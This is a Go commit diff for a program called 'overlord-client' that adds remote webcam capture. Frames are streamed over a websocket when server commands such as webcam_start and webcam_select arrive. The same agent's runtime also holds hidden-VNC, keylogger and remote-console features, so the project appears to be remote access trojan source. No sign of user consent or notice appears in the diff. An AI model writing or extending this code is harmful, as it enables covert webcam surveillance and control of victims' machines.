webcam
This commit is contained in:
@@ -0,0 +1,23 @@
|
||||
//go:build !windows
|
||||
|
||||
package capture
|
||||
|
||||
type WebcamDeviceInfo struct {
|
||||
Index int
|
||||
Name string
|
||||
MaxFPS int
|
||||
}
|
||||
|
||||
func ListWebcams() ([]WebcamDeviceInfo, error) {
|
||||
return []WebcamDeviceInfo{}, nil
|
||||
}
|
||||
|
||||
func ClampWebcamFPS(_ int, requestedFPS int, _ bool) (int, error) {
|
||||
if requestedFPS < 1 {
|
||||
requestedFPS = 30
|
||||
}
|
||||
if requestedFPS > 120 {
|
||||
requestedFPS = 120
|
||||
}
|
||||
return requestedFPS, nil
|
||||
}
|
||||
@@ -0,0 +1,161 @@
|
||||
//go:build windows
|
||||
|
||||
package capture
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"math"
|
||||
|
||||
cam "github.com/Kirizu-Official/windows-camera-go/camera/v1"
|
||||
)
|
||||
|
||||
type WebcamDeviceInfo struct {
|
||||
Index int
|
||||
Name string
|
||||
MaxFPS int
|
||||
}
|
||||
|
||||
func ListWebcams() ([]WebcamDeviceInfo, error) {
|
||||
webcamMu.Lock()
|
||||
defer webcamMu.Unlock()
|
||||
|
||||
temporaryInit := false
|
||||
if !webcamInitDone {
|
||||
if err := cam.Init(); err != nil {
|
||||
return nil, fmt.Errorf("webcam init failed: %w", err)
|
||||
}
|
||||
webcamInitDone = true
|
||||
temporaryInit = true
|
||||
}
|
||||
|
||||
devices, err := cam.EnumDevice()
|
||||
if err != nil {
|
||||
if temporaryInit && webcamActive == nil {
|
||||
cam.Shutdown()
|
||||
webcamInitDone = false
|
||||
}
|
||||
return nil, fmt.Errorf("webcam enumerate failed: %w", err)
|
||||
}
|
||||
|
||||
out := make([]WebcamDeviceInfo, 0, len(devices))
|
||||
for i, dev := range devices {
|
||||
name := dev.Name
|
||||
if name == "" {
|
||||
name = fmt.Sprintf("Camera %d", i+1)
|
||||
}
|
||||
maxFPS := 30
|
||||
if webcamActive != nil && webcamActive.deviceIndex == i && webcamActive.captureFPS > 0 {
|
||||
maxFPS = int(math.Round(webcamActive.captureFPS))
|
||||
} else if fps, fpsErr := webcamMaxSupportedFPSNoLock(dev.SymbolLink); fpsErr == nil && fps > 0 {
|
||||
maxFPS = fps
|
||||
}
|
||||
out = append(out, WebcamDeviceInfo{Index: i, Name: name, MaxFPS: maxFPS})
|
||||
}
|
||||
|
||||
if temporaryInit && webcamActive == nil {
|
||||
cam.Shutdown()
|
||||
webcamInitDone = false
|
||||
}
|
||||
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func ClampWebcamFPS(deviceIndex int, requestedFPS int, useMax bool) (int, error) {
|
||||
if requestedFPS < 1 {
|
||||
requestedFPS = 30
|
||||
}
|
||||
if requestedFPS > 120 {
|
||||
requestedFPS = 120
|
||||
}
|
||||
|
||||
maxFPS, err := webcamMaxSupportedFPS(deviceIndex)
|
||||
if err != nil {
|
||||
return requestedFPS, err
|
||||
}
|
||||
if maxFPS <= 0 {
|
||||
return requestedFPS, nil
|
||||
}
|
||||
if useMax || requestedFPS > maxFPS {
|
||||
return maxFPS, nil
|
||||
}
|
||||
return requestedFPS, nil
|
||||
}
|
||||
|
||||
func webcamMaxSupportedFPS(deviceIndex int) (int, error) {
|
||||
webcamMu.Lock()
|
||||
defer webcamMu.Unlock()
|
||||
|
||||
if webcamActive != nil && webcamActive.deviceIndex == deviceIndex && webcamActive.captureFPS > 0 {
|
||||
return int(math.Round(webcamActive.captureFPS)), nil
|
||||
}
|
||||
|
||||
temporaryInit := false
|
||||
if !webcamInitDone {
|
||||
if err := cam.Init(); err != nil {
|
||||
return 0, fmt.Errorf("webcam init failed: %w", err)
|
||||
}
|
||||
webcamInitDone = true
|
||||
temporaryInit = true
|
||||
}
|
||||
|
||||
devices, err := cam.EnumDevice()
|
||||
if err != nil {
|
||||
if temporaryInit && webcamActive == nil {
|
||||
cam.Shutdown()
|
||||
webcamInitDone = false
|
||||
}
|
||||
return 0, fmt.Errorf("webcam enumerate failed: %w", err)
|
||||
}
|
||||
if len(devices) == 0 {
|
||||
if temporaryInit && webcamActive == nil {
|
||||
cam.Shutdown()
|
||||
webcamInitDone = false
|
||||
}
|
||||
return 0, fmt.Errorf("no webcam devices detected")
|
||||
}
|
||||
if deviceIndex < 0 || deviceIndex >= len(devices) {
|
||||
deviceIndex = 0
|
||||
}
|
||||
|
||||
maxFPS, err := webcamMaxSupportedFPSNoLock(devices[deviceIndex].SymbolLink)
|
||||
if err != nil {
|
||||
if temporaryInit && webcamActive == nil {
|
||||
cam.Shutdown()
|
||||
webcamInitDone = false
|
||||
}
|
||||
return 0, err
|
||||
}
|
||||
|
||||
if temporaryInit && webcamActive == nil {
|
||||
cam.Shutdown()
|
||||
webcamInitDone = false
|
||||
}
|
||||
|
||||
return maxFPS, nil
|
||||
}
|
||||
|
||||
func webcamMaxSupportedFPSNoLock(symbolLink string) (int, error) {
|
||||
device, err := cam.OpenDevice(symbolLink)
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("open webcam failed: %w", err)
|
||||
}
|
||||
defer device.CloseDevice()
|
||||
|
||||
formats, err := device.EnumerateCaptureFormats()
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("enumerate webcam formats failed: %w", err)
|
||||
}
|
||||
|
||||
maxFPS := 0
|
||||
for _, format := range formats {
|
||||
if !isJPEGSubtype(format) && !isH264Subtype(format) {
|
||||
continue
|
||||
}
|
||||
fps := int(math.Round(format.Fps))
|
||||
if fps > maxFPS {
|
||||
maxFPS = fps
|
||||
}
|
||||
}
|
||||
|
||||
return maxFPS, nil
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
//go:build !windows
|
||||
|
||||
package capture
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
|
||||
rt "overlord-client/cmd/agent/runtime"
|
||||
)
|
||||
|
||||
func NowWebcam(_ context.Context, _ *rt.Env) error {
|
||||
return errors.New("webcam capture is only supported on Windows")
|
||||
}
|
||||
|
||||
func CleanupWebcam() {
|
||||
}
|
||||
@@ -0,0 +1,238 @@
|
||||
//go:build windows
|
||||
|
||||
package capture
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"log"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
cam "github.com/Kirizu-Official/windows-camera-go/camera/v1"
|
||||
"github.com/Kirizu-Official/windows-camera-go/windows/guid"
|
||||
|
||||
rt "overlord-client/cmd/agent/runtime"
|
||||
"overlord-client/cmd/agent/wire"
|
||||
)
|
||||
|
||||
type webcamState struct {
|
||||
deviceIndex int
|
||||
device *cam.Device
|
||||
capture *cam.CaptureSync
|
||||
format string
|
||||
captureFPS float64
|
||||
}
|
||||
|
||||
var (
|
||||
webcamMu sync.Mutex
|
||||
webcamInitDone bool
|
||||
webcamActive *webcamState
|
||||
)
|
||||
|
||||
func NowWebcam(ctx context.Context, env *rt.Env) error {
|
||||
if ctx.Err() != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
capture, deviceIndex, format, err := ensureWebcamCapture(env.WebcamDeviceIndex)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
sample, err := capture.GetFrame()
|
||||
if err != nil {
|
||||
resetWebcamState()
|
||||
return err
|
||||
}
|
||||
if sample == nil || sample.PpSample == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
buffer, err := capture.Device.ParseSampleToBuffer(sample.PpSample)
|
||||
if err != nil {
|
||||
sample.Release()
|
||||
return err
|
||||
}
|
||||
if buffer == nil {
|
||||
sample.Release()
|
||||
return nil
|
||||
}
|
||||
|
||||
frameBytes := make([]byte, int(buffer.Length))
|
||||
copy(frameBytes, buffer.Buffer[:buffer.Length])
|
||||
buffer.Release()
|
||||
sample.Release()
|
||||
|
||||
frame := wire.Frame{
|
||||
Type: "frame",
|
||||
Header: wire.FrameHeader{
|
||||
Monitor: deviceIndex,
|
||||
FPS: 0,
|
||||
Format: format,
|
||||
Webcam: true,
|
||||
},
|
||||
Data: frameBytes,
|
||||
}
|
||||
if ctx.Err() != nil {
|
||||
return nil
|
||||
}
|
||||
// Do not use the stream-cancel context for socket writes; canceling an in-flight
|
||||
// write during webcam_stop can tear down the whole websocket on some transports.
|
||||
writeCtx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
|
||||
defer cancel()
|
||||
return wire.WriteMsg(writeCtx, env.Conn, frame)
|
||||
}
|
||||
|
||||
func CleanupWebcam() {
|
||||
webcamMu.Lock()
|
||||
closeWebcamLocked()
|
||||
webcamMu.Unlock()
|
||||
}
|
||||
|
||||
func ensureWebcamCapture(requestedIndex int) (*cam.CaptureSync, int, string, error) {
|
||||
webcamMu.Lock()
|
||||
defer webcamMu.Unlock()
|
||||
|
||||
if requestedIndex < 0 {
|
||||
requestedIndex = 0
|
||||
}
|
||||
if webcamActive != nil && webcamActive.capture != nil && webcamActive.deviceIndex == requestedIndex {
|
||||
return webcamActive.capture, webcamActive.deviceIndex, webcamActive.format, nil
|
||||
}
|
||||
|
||||
closeWebcamLocked()
|
||||
|
||||
if !webcamInitDone {
|
||||
if err := cam.Init(); err != nil {
|
||||
return nil, 0, "", fmt.Errorf("webcam init failed: %w", err)
|
||||
}
|
||||
webcamInitDone = true
|
||||
}
|
||||
|
||||
devices, err := cam.EnumDevice()
|
||||
if err != nil {
|
||||
return nil, 0, "", fmt.Errorf("webcam enumerate failed: %w", err)
|
||||
}
|
||||
if len(devices) == 0 {
|
||||
return nil, 0, "", fmt.Errorf("no webcam devices detected")
|
||||
}
|
||||
if requestedIndex >= len(devices) {
|
||||
requestedIndex = 0
|
||||
}
|
||||
|
||||
deviceInfo := devices[requestedIndex]
|
||||
device, err := cam.OpenDevice(deviceInfo.SymbolLink)
|
||||
if err != nil {
|
||||
return nil, 0, "", fmt.Errorf("open webcam failed: %w", err)
|
||||
}
|
||||
|
||||
formats, err := device.EnumerateCaptureFormats()
|
||||
if err != nil {
|
||||
device.CloseDevice()
|
||||
return nil, 0, "", fmt.Errorf("enumerate webcam formats failed: %w", err)
|
||||
}
|
||||
if len(formats) == 0 {
|
||||
device.CloseDevice()
|
||||
return nil, 0, "", fmt.Errorf("no webcam capture formats available")
|
||||
}
|
||||
selected, selectedFormat := selectWebcamFormat(formats)
|
||||
if selected == nil {
|
||||
device.CloseDevice()
|
||||
return nil, 0, "", fmt.Errorf("no JPEG/H264 webcam format available")
|
||||
}
|
||||
capture, err := device.StartCapture(selected)
|
||||
if err != nil {
|
||||
device.CloseDevice()
|
||||
return nil, 0, "", fmt.Errorf("start webcam capture failed: %w", err)
|
||||
}
|
||||
|
||||
webcamActive = &webcamState{
|
||||
deviceIndex: requestedIndex,
|
||||
device: device,
|
||||
capture: capture,
|
||||
format: selectedFormat,
|
||||
captureFPS: selected.Fps,
|
||||
}
|
||||
log.Printf("webcam: selected device=%q index=%d format=%s %dx%d@%.2ffps", deviceInfo.Name, requestedIndex, selectedFormat, selected.Width, selected.Height, selected.Fps)
|
||||
return capture, requestedIndex, selectedFormat, nil
|
||||
}
|
||||
|
||||
func selectWebcamFormat(formats []*cam.CaptureFormats) (*cam.CaptureFormats, string) {
|
||||
var best *cam.CaptureFormats
|
||||
bestScore := -1.0
|
||||
bestFormat := ""
|
||||
for _, format := range formats {
|
||||
streamFormat := ""
|
||||
if isJPEGSubtype(format) {
|
||||
streamFormat = "jpeg"
|
||||
} else if isH264Subtype(format) {
|
||||
streamFormat = "h264"
|
||||
}
|
||||
if streamFormat == "" {
|
||||
continue
|
||||
}
|
||||
score := formatScore(format)
|
||||
if streamFormat == "jpeg" {
|
||||
score += 100_000_000
|
||||
}
|
||||
if streamFormat == "h264" && !format.IsCompressedFormat {
|
||||
// Prefer compressed H264 camera output where available.
|
||||
score -= 10_000_000
|
||||
}
|
||||
if score > bestScore {
|
||||
best = format
|
||||
bestScore = score
|
||||
bestFormat = streamFormat
|
||||
}
|
||||
}
|
||||
return best, bestFormat
|
||||
}
|
||||
|
||||
func isJPEGSubtype(format *cam.CaptureFormats) bool {
|
||||
if format == nil || format.SubType == nil {
|
||||
return false
|
||||
}
|
||||
return format.SubType.IsMatch(&guid.SubTypeMediaSubTypeMJPG) ||
|
||||
format.SubType.IsMatch(&guid.SubTypeMediaSubTypeIJPG)
|
||||
}
|
||||
|
||||
func isH264Subtype(format *cam.CaptureFormats) bool {
|
||||
if format == nil || format.SubType == nil {
|
||||
return false
|
||||
}
|
||||
return format.SubType.IsMatch(&guid.SubTypeMediaSubTypeH264)
|
||||
}
|
||||
|
||||
func formatScore(format *cam.CaptureFormats) float64 {
|
||||
if format == nil {
|
||||
return -1
|
||||
}
|
||||
score := float64(format.Width*format.Height) + format.Fps*1000
|
||||
if format.IsCompressedFormat {
|
||||
score += 5_000_000
|
||||
}
|
||||
if isJPEGSubtype(format) {
|
||||
score += 10_000_000
|
||||
}
|
||||
if format.MajorType != nil && (*format.MajorType).IsMatch(&guid.MajorTypeVideo) {
|
||||
score += 1_000_000
|
||||
}
|
||||
return score
|
||||
}
|
||||
|
||||
func resetWebcamState() {
|
||||
webcamMu.Lock()
|
||||
defer webcamMu.Unlock()
|
||||
if webcamActive != nil {
|
||||
webcamActive.device.CloseDevice()
|
||||
webcamActive = nil
|
||||
}
|
||||
}
|
||||
|
||||
func closeWebcamLocked() {
|
||||
if webcamActive != nil {
|
||||
webcamActive.device.CloseDevice()
|
||||
webcamActive = nil
|
||||
}
|
||||
}
|
||||
@@ -82,6 +82,18 @@ func resetForReconnect(env *runtime.Env) {
|
||||
env.HVNCSelectedDisplay = 0
|
||||
env.HVNCMu.Unlock()
|
||||
|
||||
env.WebcamMu.Lock()
|
||||
if env.WebcamCancel != nil {
|
||||
env.WebcamCancel()
|
||||
}
|
||||
waitStreamStop(env.WebcamDone, "webcam")
|
||||
env.WebcamCancel = nil
|
||||
env.WebcamDone = nil
|
||||
env.WebcamDeviceIndex = 0
|
||||
env.WebcamFPS = 30
|
||||
env.WebcamUseMaxFPS = false
|
||||
env.WebcamMu.Unlock()
|
||||
|
||||
if env.Console != nil {
|
||||
env.Console.StopAll()
|
||||
}
|
||||
@@ -1264,6 +1276,97 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
|
||||
case "webcam_start":
|
||||
env.WebcamMu.Lock()
|
||||
if env.WebcamCancel != nil {
|
||||
env.WebcamCancel()
|
||||
waitStreamStop(env.WebcamDone, "webcam")
|
||||
}
|
||||
webcamCtx, cancel := context.WithCancel(ctx)
|
||||
env.WebcamCancel = cancel
|
||||
done := make(chan struct{})
|
||||
env.WebcamDone = done
|
||||
goSafe("webcam stream", env.Cancel, func() {
|
||||
log.Printf("webcam: start requested")
|
||||
_ = WebcamStart(webcamCtx, env)
|
||||
close(done)
|
||||
})
|
||||
env.WebcamMu.Unlock()
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
case "webcam_list":
|
||||
devices, err := capture.ListWebcams()
|
||||
if err != nil {
|
||||
sendCommandResultSafe(env, cmdID, false, err.Error())
|
||||
return nil
|
||||
}
|
||||
out := make([]wire.WebcamDevice, 0, len(devices))
|
||||
for _, dev := range devices {
|
||||
out = append(out, wire.WebcamDevice{Index: dev.Index, Name: dev.Name, MaxFPS: dev.MaxFPS})
|
||||
}
|
||||
_ = wire.WriteMsg(ctx, env.Conn, wire.WebcamDevices{Type: "webcam_devices", Devices: out, Selected: env.WebcamDeviceIndex})
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
case "webcam_select":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
index := 0
|
||||
if payload != nil {
|
||||
if n, ok := payloadInt(payload, "index"); ok {
|
||||
index = n
|
||||
}
|
||||
}
|
||||
env.WebcamDeviceIndex = index
|
||||
capture.CleanupWebcam()
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
case "webcam_set_fps":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
env.WebcamMu.Lock()
|
||||
isStreaming := env.WebcamCancel != nil
|
||||
env.WebcamMu.Unlock()
|
||||
if isStreaming {
|
||||
sendCommandResultSafe(env, cmdID, false, "stop webcam before changing fps")
|
||||
return nil
|
||||
}
|
||||
fps := env.WebcamFPS
|
||||
useMax := env.WebcamUseMaxFPS
|
||||
if payload != nil {
|
||||
if n, ok := payloadInt(payload, "fps"); ok {
|
||||
fps = n
|
||||
}
|
||||
if v, ok := payload["useMax"].(bool); ok {
|
||||
useMax = v
|
||||
}
|
||||
}
|
||||
if fps < 1 {
|
||||
fps = 30
|
||||
}
|
||||
if fps > 120 {
|
||||
fps = 120
|
||||
}
|
||||
clampedFPS, clampErr := capture.ClampWebcamFPS(env.WebcamDeviceIndex, fps, useMax)
|
||||
if clampErr != nil {
|
||||
log.Printf("webcam: fps clamp fallback requested=%d err=%v", fps, clampErr)
|
||||
} else {
|
||||
fps = clampedFPS
|
||||
}
|
||||
env.WebcamFPS = fps
|
||||
env.WebcamUseMaxFPS = useMax
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
case "webcam_stop":
|
||||
env.WebcamMu.Lock()
|
||||
log.Printf("webcam: stop requested")
|
||||
if env.WebcamCancel != nil {
|
||||
env.WebcamCancel()
|
||||
}
|
||||
waitStreamStop(env.WebcamDone, "webcam")
|
||||
env.WebcamCancel = nil
|
||||
env.WebcamDone = nil
|
||||
env.WebcamMu.Unlock()
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
|
||||
case "console_start":
|
||||
sessionID, _ := envelopePayloadString(envelope, "sessionId")
|
||||
cols, rows := envelopePayloadInts(envelope)
|
||||
|
||||
@@ -0,0 +1,55 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"context"
|
||||
"log"
|
||||
"time"
|
||||
|
||||
"overlord-client/cmd/agent/capture"
|
||||
rt "overlord-client/cmd/agent/runtime"
|
||||
)
|
||||
|
||||
func WebcamStart(ctx context.Context, env *rt.Env) error {
|
||||
fps := env.WebcamFPS
|
||||
if fps <= 0 {
|
||||
fps = 30
|
||||
}
|
||||
if env.WebcamUseMaxFPS {
|
||||
fps = 60
|
||||
}
|
||||
if fps > 120 {
|
||||
fps = 120
|
||||
}
|
||||
interval := time.Second / time.Duration(fps)
|
||||
log.Printf("webcam: starting stream (max fps %d)", fps)
|
||||
defer capture.CleanupWebcam()
|
||||
ticker := time.NewTicker(interval)
|
||||
defer ticker.Stop()
|
||||
lastErrText := ""
|
||||
lastErrLogAt := time.Time{}
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
log.Printf("webcam: stopping stream")
|
||||
return nil
|
||||
case <-ticker.C:
|
||||
if err := capture.NowWebcam(ctx, env); err != nil {
|
||||
if ctx.Err() != nil {
|
||||
log.Printf("webcam: stopping stream")
|
||||
return nil
|
||||
}
|
||||
errText := err.Error()
|
||||
now := time.Now()
|
||||
if errText != lastErrText || now.Sub(lastErrLogAt) >= 2*time.Second {
|
||||
log.Printf("webcam: capture error: %v", err)
|
||||
lastErrText = errText
|
||||
lastErrLogAt = now
|
||||
}
|
||||
} else {
|
||||
lastErrText = ""
|
||||
lastErrLogAt = time.Time{}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -34,6 +34,12 @@ type Env struct {
|
||||
HVNCCancel context.CancelFunc
|
||||
HVNCDone chan struct{}
|
||||
HVNCMu sync.Mutex
|
||||
WebcamDeviceIndex int
|
||||
WebcamFPS int
|
||||
WebcamUseMaxFPS bool
|
||||
WebcamCancel context.CancelFunc
|
||||
WebcamDone chan struct{}
|
||||
WebcamMu sync.Mutex
|
||||
// Other fields
|
||||
Plugins *plugins.Manager
|
||||
Keylogger *keylogger.Keylogger
|
||||
|
||||
@@ -315,6 +315,9 @@ func shouldRetryImmediately(err error) bool {
|
||||
if strings.Contains(msg, "timed out from inactivity") {
|
||||
return true
|
||||
}
|
||||
if strings.Contains(msg, "use of closed network connection") || strings.Contains(msg, "failed to get reader") {
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
@@ -499,6 +502,10 @@ func readLoop(ctx context.Context, conn *websocket.Conn, env *rt.Env, dispatcher
|
||||
if ctx.Err() != nil {
|
||||
return err
|
||||
}
|
||||
var closeErr *websocket.CloseError
|
||||
if errors.As(err, &closeErr) {
|
||||
log.Printf("readLoop: websocket close code=%d reason=%q", closeErr.Code, closeErr.Reason)
|
||||
}
|
||||
log.Printf("readLoop: read error: %v", err)
|
||||
return err
|
||||
}
|
||||
|
||||
@@ -48,6 +48,7 @@ type FrameHeader struct {
|
||||
FPS int `msgpack:"fps"`
|
||||
Format string `msgpack:"format"`
|
||||
HVNC bool `msgpack:"hvnc,omitempty"`
|
||||
Webcam bool `msgpack:"webcam,omitempty"`
|
||||
}
|
||||
|
||||
type Frame struct {
|
||||
@@ -185,3 +186,15 @@ type Notification struct {
|
||||
Keyword string `msgpack:"keyword,omitempty"`
|
||||
TS int64 `msgpack:"ts,omitempty"`
|
||||
}
|
||||
|
||||
type WebcamDevice struct {
|
||||
Index int `msgpack:"index"`
|
||||
Name string `msgpack:"name"`
|
||||
MaxFPS int `msgpack:"maxFps,omitempty"`
|
||||
}
|
||||
|
||||
type WebcamDevices struct {
|
||||
Type string `msgpack:"type"`
|
||||
Devices []WebcamDevice `msgpack:"devices"`
|
||||
Selected int `msgpack:"selected"`
|
||||
}
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
module overlord-client
|
||||
|
||||
go 1.23
|
||||
go 1.24
|
||||
|
||||
require (
|
||||
github.com/creack/pty v1.1.21
|
||||
@@ -13,6 +13,7 @@ require (
|
||||
)
|
||||
|
||||
require (
|
||||
github.com/Kirizu-Official/windows-camera-go v0.2.0
|
||||
github.com/gen2brain/malgo v0.11.24
|
||||
golang.org/x/sys v0.24.0
|
||||
)
|
||||
@@ -25,4 +26,5 @@ require (
|
||||
github.com/jezek/xgb v1.1.1 // indirect
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
|
||||
github.com/vmihailenco/tagparser/v2 v2.0.0 // indirect
|
||||
gopkg.in/yaml.v3 v3.0.1 // indirect
|
||||
)
|
||||
|
||||
@@ -1,3 +1,5 @@
|
||||
github.com/Kirizu-Official/windows-camera-go v0.2.0 h1:wF8s6US/me/d5WaBeoHGVKE8mBOl83kKTfMV38YYQ3g=
|
||||
github.com/Kirizu-Official/windows-camera-go v0.2.0/go.mod h1:zMP4SmblRxD6zQHe4X07CHO4lnNcWo6zeZhQavO2aLQ=
|
||||
github.com/creack/pty v1.1.21 h1:1/QdRyBaHHJP61QkWMXlOIBfsgdDeeKfK8SYVUWJKf0=
|
||||
github.com/creack/pty v1.1.21/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4=
|
||||
github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8=
|
||||
@@ -35,7 +37,9 @@ github.com/vmihailenco/tagparser/v2 v2.0.0/go.mod h1:Wri+At7QHww0WTrCBeu4J6bNtoV
|
||||
golang.org/x/sys v0.0.0-20201018230417-eeed37f84f13/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.24.0 h1:Twjiwq9dn6R1fQcyiK+wQyHWfaz/BJB+YIpzU/Cv3Xg=
|
||||
golang.org/x/sys v0.24.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo=
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
||||
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
nhooyr.io/websocket v1.8.10 h1:mv4p+MnGrLDcPlBoWsvPP7XCzTYMXP9F9eIGoKbgx7Q=
|
||||
nhooyr.io/websocket v1.8.10/go.mod h1:rN9OFWIUwuxg4fR5tELlYC04bXYowCP9GX47ivo2l+c=
|
||||
|
||||
Reference in New Issue
Block a user